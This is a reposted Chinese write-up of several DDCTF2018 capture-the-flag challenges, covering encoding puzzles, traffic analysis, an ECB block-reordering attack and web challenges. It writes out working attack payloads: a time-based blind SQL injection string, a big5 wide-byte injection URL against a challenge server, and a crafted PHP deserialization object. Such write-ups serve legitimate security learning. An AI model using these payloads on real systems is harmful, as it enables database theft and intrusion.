转载

DDCTF2018 部分writeup

难得抽出时间肝了两天,应该算是参加CTF以来做出题最多的一次了

_(:з」∠)_

0x01 (╯°□°)╯︵ ┻━┻

进制转换,先将16进制转换为10进制,再对128求余,剩下的结果转换为字符。

DDCTF2018 部分writeup

0x02 第四扩展FS

迷之一题

使用binwalk提取图片压缩包,发现加密,同时里面有一个ext2文件,利用Win下的ext读取工具加载后发现内容为空。

多次操作无果后,重新打开图片发现一段特殊代码:

DDCTF2018 部分writeup

直觉下用Pactera去解压,竟然解压成功了。

接下来的文本根据提示进行字符频度统计即可得到flag。

0x03 流量分析

利用wireshark发现FTP有两个zip文件,一堆邮件,zip文件加密且格式有问题,所以无解,查询邮件发现有一张图片应该是密钥。

进行图片识别,这里很容易将l和1,0和o识别错误,所以需要手动进行更正,再将正确的密钥导入wireshark,跟踪SSL流即可得到flag。

DDCTF2018 部分writeup

0x04 安全通信

ECB模式的分组加密可以通过改变分组位置进行攻击,这里nc上去之后可以通过输入Agent ID来操纵flag的分组位置,因此可以进行逐位爆破,

DDCTF2018 部分writeup

0x05 数据库的秘密

第一步进行X-Forworded-For欺骗

第二步利用Burp代理始终显示隐藏表单

第三步这里是一个时间盲注,利用sleep(ascii(a-b)),把一个时间盲注转化为布尔盲注,进行注入。

详细payload如下:

test'and (sleep((ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA LIMIT 0,1),1,1))-100)));#

最终在flag9表中中获取到flag

0x06 专属链接

进入页面后发现有一个base64编码的任意文件读取,可以读取xml、class、ks等格式的文件,先读取配置文件web.xml和applicationContext.xml。

发现有一个监听器的class,下载回来后进行反编译,是一段用于加密的代码,大致逻辑是利用sdl.ks中的公钥对flag进行加密,那么我们现在就需要找到密文,发现密文是一起放进flago里然后入库的。

在主页面发现另一个连接

<!--/flag/testflag/yourflag-->

任意访问后报错发现,还有一个文件

com.didichuxing.ctf.controller.user.FlagController.submitFlag

在源码中调用接口,需要将邮箱加密后hex转码访问接口,获取到data的密文。

再将密文解密即可得到flag。

0x07 注入的奥妙

发现hint是big5,按照传统的宽字节注入无果,遂用携带%5c的big5字符去Fuzz尝试,发现如下payload可以成功。

http://116.85.48.105:5033/ab393ca3-0736-4ac3-8fb5-5461d803ea87/well/getmessage/1尐'*

构造好后就可以用sqlmap跑。

DDCTF2018 部分writeup

发现新的路径,最后一个可以获取到源码,然后利用第3个进行反序列化。

构造序列化字符,这里需要注意的问题是命名空间对序列化结果的影响,在这里卡了很久。

最后的payload如下:

a=O%3A17%3A%22Index%5CHelper%5CTest%22%3A2%3A%7Bs%3A9%3A%22user_uuid%22%3Bs%3A36%3A%22ab393ca3-0736-4ac3-8fb5-5461d803ea87%22%3Bs%3A2%3A%22fl%22%3BO%3A17%3A%22Index%5CHelper%5CFlag%22%3A1%3A%7Bs%3A3%3A%22sql%22%3BO%3A16%3A%22Index%5CHelper%5CSQL%22%3A2%3A%7Bs%3A3%3A%22dbc%22%3BN%3Bs%3A3%3A%22pdo%22%3BN%3B%7D%7D%7D

DDCTF{2b305718ff69f1807d36d4a2d56007c5c12d20bab289a96d3c16725c5d56026c}
原文  http://phantom0301.cc/2018/04/20/ddctf2018/
正文到此结束
Loading...